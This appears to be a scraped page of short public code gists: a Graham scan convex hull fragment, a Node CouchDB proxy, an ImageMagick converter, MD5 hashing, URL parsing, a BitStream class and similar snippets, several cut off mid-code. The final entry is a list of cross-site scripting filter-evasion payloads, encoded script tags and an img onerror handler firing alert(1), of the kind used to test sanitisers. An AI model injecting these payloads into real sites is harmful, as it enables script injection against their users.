tixxit

# Graham Scan - Tom Switzer <thomas.switzer@gmail.com>

TURN_LEFT, TURN_RIGHT, TURN_NONE = (1, -1, 0)

def turn(p, q, r):
    return cmp((q[0] - p[0])*(r[1] - p[1]) - (r[0] - p[0])*(q[1] - p[1]), 0)

def _keep_left(hull, r):
    while len(hull) > 1 and turn(hull[-2], hull[-1], r) != TURN_LEFT:
            hull.pop()

bdotdub

Running redis using upstart on Ubuntu

I've been trying to understand how to setup systems from the ground up on Ubuntu. I just installed redis onto the box and here's how I did it and some things to look out for.

To install:

MetaThis

var http = require('http'),
request = require('request'), // request module from https://github.com/mikeal/request
url = require('url');

http.createServer(function (req, res) {
  var href = url.parse(req.url,true).href;
  request('http://127.0.0.1:5984' + href).pipe(res);
}).listen(1337);

// now try something like http://127.0.0.1:1337/your_db_name/_all_docs/?limit=10

mattbaker

/* converttest.js: Send a PNG of a red square to STDOUT
 * ex. node converttest.js > test.png
 */
var convert = require('child_process').spawn("convert", ["svg:", "png:-"]),
    svgsrc = '<svg><rect height="100" width="100" style="fill:red;"/></svg>';
convert.stdout.on('data', function (data) {
	process.stdout.write(data);
});
convert.stdin.write(svgsrc);
convert.stdin.end();

kitek

var data = "do shash'owania";
var crypto = require('crypto');
crypto.createHash('md5').update(data).digest("hex");

jlong

var parser = document.createElement('a');
parser.href = "http://example.com:3000/pathname/?search=test#hash";

parser.protocol; // => "http:"
parser.hostname; // => "example.com"
parser.port;     // => "3000"
parser.pathname; // => "/pathname/"
parser.search;   // => "?search=test"
parser.hash;     // => "#hash"
parser.host;     // => "example.com:3000"

claus

// Usage:
// var buf = new Uint8Array(128);
// var bitstream = new BitStream(buf);
// bitstream.writeBits(12, 0xffff);
// bitstream.seekTo(0);
// bitstream.readBits(6); // 111111
// bitstream.readBits(10); // 1111110000

window.BitStream = function(uint8Array) {

jezreljane

1. Get You a Hug, Every Friday

FridayHug.com http://fridayhug.com

2. Run From a Single File

The Smallest Rails App http://thesmallestrailsapp.com

%w(action_controller/railtie coderay).each &method(:require)

paulhhowells

// from google javascript style guide:
//   One thing to keep in mind, however, is that a closure keeps a pointer to its enclosing scope. As a 
//   result, attaching a closure to a DOM element can create a circular reference and thus, a memory leak. 
//   For example, in the following code: 

// Leaky example
function foo (element, a, b) {
  element.onclick = function() {
    // uses a and b
    // this func keeps a pointer to foo, its enclosing scope

JohannesHoppe

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>